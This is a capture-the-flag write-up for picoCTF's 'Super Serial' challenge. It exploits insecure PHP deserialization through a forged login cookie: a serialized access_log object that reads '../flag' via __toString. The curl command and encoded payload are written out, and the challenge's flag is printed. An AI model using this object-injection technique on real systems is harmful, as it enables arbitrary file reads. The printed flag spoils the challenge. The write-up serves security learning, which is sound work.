Super Serial
- 1.Going to
robots.txt
shows thatadmin.phps
is disallowed. This indicates that thephps
extension is enabled within the php configuration for this webserver. Files with thephps
extension contain php code but instead of running when they are accessed, they return an HTML representation of the literal pho code. - 2.We can access
index.phps
to find the following:<?phprequire_once("cookie.php");if(isset($_POST["user"]) && isset($_POST["pass"])){$con = new SQLite3("../users.db");$username = $_POST["user"];$password = $_POST["pass"];$perm_res = new permissions($username, $password);if ($perm_res->is_guest() || $perm_res->is_admin()) {setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");header("Location: authentication.php");die();} else {$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';}}?> - 3.The above php code points us in the direction of
authentication.php
. Looking atauthentication.phps
shows the following:<?phpclass access_log{public $log_file;function __construct($lf) {$this->log_file = $lf;}function __toString() {return $this->read_log();}function append_to_log($data) {file_put_contents($this->log_file, $data, FILE_APPEND);}function read_log() {return file_get_contents($this->log_file);}}require_once("cookie.php");if(isset($perm) && $perm->is_admin()){$msg = "Welcome admin";$log = new access_log("access.log");$log->append_to_log("Logged in at ".date("Y-m-d")."\n");} else {$msg = "Welcome guest";}?> - 4.The above php code points us in the direction of
cookie.php
. Looking atcookie.phps
shows the following:<?phpsession_start();class permissions{public $username;public $password;function __construct($u, $p) {$this->username = $u;$this->password = $p;}function __toString() {return $u.$p;}function is_guest() {$guest = false;$con = new SQLite3("../users.db");$username = $this->username;$password = $this->password;$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");$stm->bindValue(1, $username, SQLITE3_TEXT);$stm->bindValue(2, $password, SQLITE3_TEXT);$res = $stm->execute();$rest = $res->fetchArray();if($rest["username"]) {if ($rest["admin"] != 1) {$guest = true;}}return $guest;}function is_admin() {$admin = false;$con = new SQLite3("../users.db");$username = $this->username;$password = $this->password;$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");$stm->bindValue(1, $username, SQLITE3_TEXT);$stm->bindValue(2, $password, SQLITE3_TEXT);$res = $stm->execute();$rest = $res->fetchArray();if($rest["username"]) {if ($rest["admin"] == 1) {$admin = true;}}return $admin;}}if(isset($_COOKIE["login"])){try{$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));$g = $perm->is_guest();$a = $perm->is_admin();}catch(Error $e){die("Deserialization error. ".$perm);}}?> - 5.PortSwigger has a great article that goes into detail about deserialization vulnerabilities. This Medium article gives a more step-by-step beginner guide.
- 6.The exploit is in this code block:class access_log{public $log_file;function __construct($lf) {$this->log_file = $lf;}function __toString() {return $this->read_log();}function append_to_log($data) {file_put_contents($this->log_file, $data, FILE_APPEND);}function read_log() {return file_get_contents($this->log_file);}}if(isset($_COOKIE["login"])){try{$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));$g = $perm->is_guest();$a = $perm->is_admin();}catch(Error $e){die("Deserialization error. ".$perm);}}We can store any object in the
login
cookie and it will be unserialized. One option is to exploit the__construct
function, since this is ran immediately when the object is created. However, in both theaccess_log
andpermissions
classes, there does not appear to be a valid gadget chain (see "Gadget chains" in the PortSwigger article). - 7.We can store a serialized
access_log
object in thelogin
cookie with thelog_file
set to../flag
. This object will be instantiated in the first line of thetry
block. However, theaccess_log
class does not have anis_guest
function so when the code try to run that function on the next line it will fail, thus jumping to thecatch
block. This catch block prints the value of$perm
, which is our injectedaccess_log
object. By printing$perm
, the__toString
method of ouraccess_log
object is called, which displays the content of whatever filename (the value ofaccess_log
) was passed to it. - 8.The php serialized
access_log
object looks like this:O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
. Fore more details about this syntax, see the aforementioned Medium article. - 9.Let's encode that to base64 and url encode it using CyberChef to get:
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
- 10.We can use cURL to access the
authentication.php
file with the correct cookie set:curl mercury.picoctf.net:3449/authentication.php --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
. This will print the error text and the flag:Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}